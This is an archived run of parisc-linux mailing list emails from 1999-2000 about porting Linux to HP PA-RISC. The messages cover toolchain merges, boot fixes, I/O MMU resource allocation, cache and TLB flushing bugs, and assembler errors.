	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 00:23:27 -0600
Original-Received: (qmail 19735 invoked by uid 15267); 5 Sep 2000 06:23:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19695 invoked from network); 5 Sep 2000 06:23:38 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Sep 2000 06:23:38 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA02970;
	Tue, 5 Sep 2000 17:23:19 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:7894

I've just completed a merge in both directions with the official binutils
sources at sourceware.cygnus.com.  At this point in time, the two trees
are virtually identical, so if you like, you can now get your binutils
from sourceware.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] syscalls...
Date: Tue, 5 Sep 2000 17:33:04 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000905173304.A15365@parcelfarce.linux.theplanet.co.uk>
References: <A4A5E4C468B5D11190220001FA6835DD04DD86BC@epixch003> <Pine.SOL.4.21.0009041213150.6280-100000@eddie.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619111 3406 80.91.229.3 (22 Nov 2014 01:18:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: willy@www.linux.org.uk  Tue Sep  5 10:33:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA28387
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 10:33:09 -0600
Original-Received: (qmail 2118 invoked by uid 15267); 5 Sep 2000 16:33:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2108 invoked from network); 5 Sep 2000 16:33:17 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 5 Sep 2000 16:33:17 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13WLei-00047d-00; Tue, 05 Sep 2000 17:33:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.SOL.4.21.0009041213150.6280-100000@eddie.cdf>; from apark@cdf.toronto.edu on Mon, Sep 04, 2000 at 12:15:55PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7895

On Mon, Sep 04, 2000 at 12:15:55PM -0400, Andrew Park wrote:
> I'd like to work on the following item that was in the TODO list
> on the puffin group web site.
> 
> check other arches for new syscalls we don't have and add them.
> 
> I was just wondering whether there is someone working on it already.
> If so can we talk and divide the work load?
> Thanks

actually i did that last week... someone want to take it off the todo
list?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Pflederer <krp@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: Tue, 5 Sep 2000 12:02:28 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20000905120228.H999@localhost.localdomain>
References: <200009030329.VAA17641@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619111 3408 80.91.229.3 (22 Nov 2014 01:18:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: krp@rsn.hp.com  Tue Sep  5 10:58:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA28725
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 10:58:40 -0600
Original-Received: (qmail 2156 invoked by uid 15267); 5 Sep 2000 16:58:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2138 invoked from network); 5 Sep 2000 16:58:54 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 5 Sep 2000 16:58:54 -0000
Original-Received: from cmail2.rsn.hp.com (cmail2.rsn.hp.com [15.99.101.1])
	by atlrel1.hp.com (Postfix) with ESMTP id 48E9D2693
	for <parisc-linux@thepuffingroup.com>; Tue,  5 Sep 2000 12:58:53 -0400 (EDT)
Original-Received: from localhost.localdomain (root@rsnext99.rsn.hp.com [15.99.248.99]) by cmail2.rsn.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.0) id LAA19441; Tue, 5 Sep 2000 11:58:52 -0500 (CDT)
Original-Received: (from krp@localhost)
	by localhost.localdomain (8.9.3/8.8.7) id MAA08148;
	Tue, 5 Sep 2000 12:02:28 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200009030329.VAA17641@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Sat, Sep 02, 2000 at 09:29:57PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7896

I noticed that John committed something this morning, so I tried it out
on my C180, and it works!  For the first time, the CVS kernel boots 
un-modified on my C180.  Odds are good that it will also work in C200+.

Thanks, John.

> 
> My fix will do a simple 3-4 assembly instruction test for PA2.0 in
> head.S, and then install the appropriate iva. This wastes 2K of memory
> having two iva's, but is a lot simpler to do in assembly very early
> in the boot process. I'll try to get this done by Tuesday morning
> (I work throughout the night Monday).
> 
> John Marvin
> jsm@fc.hp.com
> 


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel panic: ccio-dma.c:ccio_alloc_range() I/O MMU is out of mapping resources
Date: Tue, 05 Sep 2000 10:15:28 -0700
Lines: 116
Approved: news@gmane.org
Message-ID: <200009051715.KAA23252@milano.cup.hp.com>
References: <39B35B41.20C70524@uswest.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619112 3410 80.91.229.3 (22 Nov 2014 01:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: grundler@cup.hp.com  Tue Sep  5 11:11:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA29258
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 11:11:58 -0600
Original-Received: (qmail 17891 invoked by uid 15267); 5 Sep 2000 17:12:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17860 invoked from network); 5 Sep 2000 17:12:10 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 5 Sep 2000 17:12:10 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 482F6808; Tue,  5 Sep 2000 10:12:05 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA23252;
	Tue, 5 Sep 2000 10:15:32 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 04 Sep 2000 02:20:18 PDT."
             <39B35B41.20C70524@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:7897

Ryan Bradetich wrote:
> Grant,
> 
> I was hoping  you could expand upon your comment regarding the error
> message.  I have a test case that reliably generates several of these
> messages, and I would like to see if I could fix it (If Bob Pflederer
> doesn't beat me too it :)).

Hi Ryan,
I've cc'd the list since this turned out to be fairly long and will
be of interest to a few others. Besides, if I don't understand something
right either, someone could correct me.... :^)

> I see that you have a FIXME.... but it seems that if the I/O MMU is out
> of resources, it should free up a resource (maybe via LRU) instead of a
> kernel panic?

Nope. The main problem with the code is the allocation algorithm
makes extremely poor use of available resources. This is discussed
at length below.

Secondly, since we cripple the memory available to 128MB, the sizing
of the I/O pdir is also "crippled" to a corresponding size and thus
I/O Pdir allocation won't "scale" with the system. The assumption is
a system with more I/O devices will also have more memory....but
IMHO, crippling the memory size is really a secondary issue and will
get fixed soon enough.

> Sanity Check (Just to make sure I understand the purpose of the I/O MMU).
> The I/O MMU is a cache/TLB for the U2/UTurn chip.  So if the data is
> flushed, it can always be retrieved without data loss.

That's at least partially right.  The I/O MMU *contains* a TLB to cache
I/O address space to physical address space translations. But the
translations are stored in an "I/O Page Directory" (I/O Pdir) in host
memory. The I/O TLB is a form of "cache" to avoid repeatedly fetching
translations from the I/O Pdir for every I/O <-> Memory transaction
(ie DMA).  We "flush" the TLB whenever we change the corresponding
I/O Pdir entry since the two are NOT coherent on most platforms. The
reasons for using and the mechanics of TLB fetching/flushing are
basically the same as for the CPU.

[ digression:
    We might be able to add another "FIXME" here: I think PCX-W and Uturn
    *are* coherent. Ie changes to the I/O Pdir by the PCX-W processor are
    "visible" to the Uturn chip and I *thought* (not certain) the Uturn
    would ditch the now invalid TLB entry on it's own.
]

> 
>    ** FIXME: The search algorithm only checks every
>    **        32cd bit field. So even we only need
>    **        one bit, we wouldn't see it.
>    **        Should shift the pages_mask left
>    **        some during the search in order to
>    **        take advantage of cacheing.
>    */
>    panic(__FILE__ ":" __FUNCTION__ "() I/O MMU is out of mapping
> resources\n");
> 
> 
> I also see lots of other FIXME's in this code I would like to take a
> whack at (if Bob Pflederer doesn't beat me too it :)) .. but I'd like
> to nail this one first since I have a good test case for it.

Sure. This is a generic code problem and not really specific to
U2/Uturn support. SBA (Astro/Ike) code uses the same implementation.
If someone improves this, I'll review and port the changes to sba_iommu.c.

The code uses a "resource bit map" to track which I/O Pdir entries
are (or not) in use. "In use" means the I/O Pdir entry contains a valid
physical address and a device driver is/has programmed it's device to
use this address for DMA.  ccio_alloc_range() builds a bit mask which
represents a consecutive set of I/O Pdir entries and searches the
resource bit map to locate a consecutive set of free bits.
Since I was too lazy to write a really smart *and* fast search
algorithm, I ended up with just a mostly fast one.

The "smart" part is where the search algorithm could find the
consecutive bits in some other location other than the just the
LSB (Least Significant Bits) of every 32-bit word. Since most
mappings (and thus resource bit map searches) are for 1 or 2 pages,
only 1/32 or 2/32 of "available" resources are really available.
Searching the LSB in 8-bit steps (vs 32-bits) is one simple way
of making 4x better use of the resource bit map. (I was thinking
one could use "pages_needed" local variable to determine which search
algorithm to use.) 4x better usage means either we could size the
I/O Pdir 1/4th it's current size or we are alot less likely to
hit the panic() code you quoted above.

But before hacking this to death, read the comments above ccio_alloc_range()
a few times. It's really important the implementation here be really 
"fast" (wall clock - not instruction counts). The mapping and unmapping
code paths are both called for *every* DMA transaction by every device.
This code path is just as important as the interrupt path for performance.
General things to think about when coding (in no particular order): 
i-cache "foot print" size, branches (avoid them), d-cache hit rate.

In general, I'm not too worried about shortening the "worst case" search
time since it means the I/O Pdir was not correctly sized in the first place.
I think the challenging tradeoff is between alloc/free speed and
utilization of I/O Pdir resource.

> Thanks a lot for your help!

welcome,
grant

> Ryan
> 
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Three kinds of userspace/VM/whatever bugs
Date: 05 Sep 2000 15:09:50 -0400
Organization: Linuxcare, Inc.
Lines: 64
Approved: news@gmane.org
Message-ID: <87lmx6k64h.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619112 3417 80.91.229.3 (22 Nov 2014 01:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Sep  5 13:09:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA30719
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 13:09:32 -0600
Original-Received: (qmail 3916 invoked by uid 15267); 5 Sep 2000 19:09:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3909 invoked from network); 5 Sep 2000 19:09:45 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 5 Sep 2000 19:09:45 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13WO6Q-0001ML-00
	for <parisc-linux@thepuffingroup.com>; Tue, 05 Sep 2000 15:09:50 -0400
Original-Lines: 63
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7898

1) When forking a lot of processes, eventually the I-cache gets
   corrupted and you get "illegal instruction" or "halted by break 0,0
   (yes, this sucks)" errors.  This one's easy to demonstrate:

#!/bin/sh

while true; do
        cat <<EOF >whatever.foo
foo foo foo foo foo foo foo
EOF
done

   This will quickly die or crash the machine.  This is due to our
   broken cache flushing functions.  If you kludge around this (just
   flush the entire cache all the time) on 2.3.99pre8 then you will no
   longer lose, but of course the machine will run slowly (i.e. don't
   do this on a PA8500 :-) 2.4.0-test6 has other problems which is why
   I don't use it for userspace work (see below).

2) When forking, random things happen in the child process before
   exec() sometimes causing the shell to segfault (this usually
   manifests itself as a fault in the environment variable setup code
   in ash).  This can be replicated by running most large configure
   scripts.

   This is due to our broken TLB flushing macros.  First of all the
   'if (mm == current->mm)' check in these macros does appear to be
   bogus, as removing it "fixes" some of these problems.  Second, we
   have the same problem as above in that the
   flush_(instruction|data)_tlb_range inlines incorrectly use
   p[id]tlbe and we don't distinguish between user and kernel spaces.
   Also __flush_tlb_space basically doesn't work, for the same reason.

   Again, kludging around this by always flushing the entire TLB and
   removing the conditional above makes my A180 stable but slightly
   slower, on 2.3.99pre8.

3) 2.4.0-test6 has some kind of bug that manifests itself in the
   following type of oopsen:

bad magic 807025a (should be c016f720), wq bug, forcing oops.

   These come from this macro in <linux/wait.h>:

#define CHECK_MAGIC(x) if (x != (long)&(x)) \
	{ printk("bad magic %lx (should be %lx), ", (long)x, (long)&(x)); WQ_BUG(); }

   Unfortunately, because they just hang the machine without printing
   a register dump I am unable to see where exactly they are being
   triggered from.  May I suggest that the person who wrote this macro:

#define WQ_BUG() do { \
	printk("wq bug, forcing oops.\n"); \
	for(;;); \
} while (0)

   be shot.  Argh.  I'll track this some more after doing so.

These bugs are all holding up the progress of userspace work.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] entry.S Invalid operands
Date: Tue, 5 Sep 2000 14:32:48 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200009052132.OAA23661@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619112 3421 80.91.229.3 (22 Nov 2014 01:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Sep  5 15:29:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31970
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 15:29:12 -0600
Original-Received: (qmail 12511 invoked by uid 15267); 5 Sep 2000 21:29:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12501 invoked from network); 5 Sep 2000 21:29:25 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 5 Sep 2000 21:29:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 59C8BBE3
	for <parisc-linux@thepuffingroup.com>; Tue,  5 Sep 2000 14:29:21 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id OAA23661
	for parisc-linux@thepuffingroup.com; Tue, 5 Sep 2000 14:32:48 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7899

Hi all,
my parisc-linux kernel builds now get:
hppa-linux-gcc -I/linux/test6/linux-2.3/include   -D__KERNEL__ -I/linux/test6/linux-2.3/include  -c -o entry.o entry.S
entry.S: Assembler messages:
entry.S:828: Error: Invalid operands 
entry.S:829: Error: Invalid operands 
entry.S:830: Error: Invalid operands 
...

The preceding line (826) has:
	.level 2.0

I've rebuilt my XC using "recipe.linux -R -u".
How get the hppa-linux toolchain to accept ".level 2.0" stuff?
Or must I use hppa64-linux and force narrow mode builds somehow?

I want to continue testing on the A180 for now...

thanks,
grant


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] entry.S Invalid operands
Date: Wed, 6 Sep 2000 11:46:40 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009061137540.22521-100000@front.linuxcare.com.au>
References: <200009052132.OAA23661@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619112 3422 80.91.229.3 (22 Nov 2014 01:18:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep  5 18:52:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA01662
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 18:52:24 -0600
Original-Received: (qmail 19495 invoked by uid 15267); 6 Sep 2000 00:52:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19452 invoked from network); 6 Sep 2000 00:52:21 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 00:52:21 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA24019;
	Wed, 6 Sep 2000 11:46:40 +1100
In-Reply-To: <200009052132.OAA23661@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7900

On Tue, 5 Sep 2000, Grant Grundler wrote:

> Hi all,
> my parisc-linux kernel builds now get:
> hppa-linux-gcc -I/linux/test6/linux-2.3/include   -D__KERNEL__ -I/linux/test6/linux-2.3/include  -c -o entry.o entry.S
> entry.S: Assembler messages:
> entry.S:828: Error: Invalid operands 
> entry.S:829: Error: Invalid operands 
> entry.S:830: Error: Invalid operands 

My guess is that you need to update your assembler.  The lines in question
use register aliases instead of %r<num>:
        depd            pte,8,7,prot

pehc CVS before 2000-08-23 won't accept register aliases on all
instructions.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: Tue, 05 Sep 2000 19:45:21 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <39B5A1B1.CA09A271@uswest.net>
References: <200009030329.VAA17641@udlkern.fc.hp.com> <20000905120228.H999@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619113 3429 80.91.229.3 (22 Nov 2014 01:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:33 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Bob Pflederer <krp@rsn.hp.com>
Original-X-From: rbradetich@uswest.net  Tue Sep  5 19:45:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA02274
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 19:45:48 -0600
Original-Received: (qmail 730 invoked by uid 15267); 6 Sep 2000 01:46:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 700 invoked from network); 6 Sep 2000 01:46:01 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 01:46:01 -0000
Original-Received: (qmail 33308 invoked by alias); 6 Sep 2000 01:45:31 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 32966 invoked by uid 0); 6 Sep 2000 01:45:21 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 6 Sep 2000 01:45:21 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7901

Bob and John,

I have the latest CVS kernel on booting on the C200+ and a 755.
They both booted to an ash prompt without any modifications!

Just wanted to let everyone know the changes John made are
working great for me in PARISC 1.1 and PARISC 2.0 land!

Thanks,

Ryan

P.S. It is a great feeling to see my C200+ finally boot linux!

Bob Pflederer wrote:

> I noticed that John committed something this morning, so I tried it out
> on my C180, and it works!  For the first time, the CVS kernel boots
> un-modified on my C180.  Odds are good that it will also work in C200+.
>
> Thanks, John.
>
> >
> > My fix will do a simple 3-4 assembly instruction test for PA2.0 in
> > head.S, and then install the appropriate iva. This wastes 2K of memory
> > having two iva's, but is a lot simpler to do in assembly very early
> > in the boot process. I'll try to get this done by Tuesday morning
> > (I work throughout the night Monday).
> >
> > John Marvin
> > jsm@fc.hp.com
> >
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Qn on PA-RISC Page tables and TLB
Date: Sun, 28 Mar 1999 17:52:49 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <199903282252.RAA22833@lucifier.dial-up.user.akula.net>
References: <Pine.LNX.3.96.990328122620.118A-100000@quark.ix.netcom.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619113 3435 80.91.229.3 (22 Nov 2014 01:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:33 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: hppa-linux@thepuffingroup.com
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Sun Mar 28 17:53:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA13435
	for <hppa-linux@sod.res.cmu.edu>; Sun, 28 Mar 1999 17:53:01 -0500
Original-Received: (qmail 24207 invoked by uid 15267); 28 Mar 1999 22:51:36 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 24200 invoked from network); 28 Mar 1999 22:51:35 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 28 Mar 1999 22:51:35 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id RAA22833;
	Sun, 28 Mar 1999 17:52:49 -0500 (EST)
In-Reply-To: <Pine.LNX.3.96.990328122620.118A-100000@quark.ix.netcom.com> from Kumar at "Mar 28, 99 12:37:05 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7902

Making, drinking tea and reading an opus magnum from Kumar:
> 
> On Thu, 25 Mar 1999, Craig Hada wrote:
> > > 
> > 
> > In the absense of a harware TLB walker, the page directory format can be
> > structured by software to fit its needs. However, the TLB miss handler
> > must reformat the bits to fit the format of the TLB insert instructions.
> > To get maximum performace from the system, the TLB miss handlers must be
> > made very efficient. The format of the page directory entry in the PA-RISC 
> > Arch 1.1 book minimizes the work of the TLB miss handlers by aligning the
> > fields to match the format of the TLB insert instructions.
> > > 	
> > > 
> Is it necessary that the virtual to physical mappings in TLB be inserted
> only in a tlb miss fault. Can I insert  entries in the anticipation that
> there will be a fault soon, for example when I first enable 
> virtual mode ? If not, there is a potential chicken and egg problem
> because I will get a TLB miss fault as soon as I turn virtual mode on and
> TLB miss fault handler has to run in virtual mode with translations
> on.....and there aint any tranlations yet inserted ...you get the pitcure
usually kernel (and tlb miss handler) get block-mapped w/ block tlb,
so the whole kernel text+data get mapped once w/ one big tlb entry,
and won't get no tlb misses for it no more.
so, the chicken gonna be ok.

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] entry.S Invalid operands
Date: Tue, 05 Sep 2000 21:12:21 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <200009060412.VAA24394@milano.cup.hp.com>
References: <Pine.LNX.4.21.0009061137540.22521-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619113 3439 80.91.229.3 (22 Nov 2014 01:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: grundler@cup.hp.com  Tue Sep  5 22:08:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA03568
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 22:08:41 -0600
Original-Received: (qmail 10376 invoked by uid 15267); 6 Sep 2000 04:08:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
